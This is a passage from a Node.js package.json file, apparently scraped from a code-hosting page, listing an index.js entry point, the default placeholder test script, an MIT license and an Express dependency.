"main": "index.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "Ben (plane000)",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"express": "^4.16.3"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user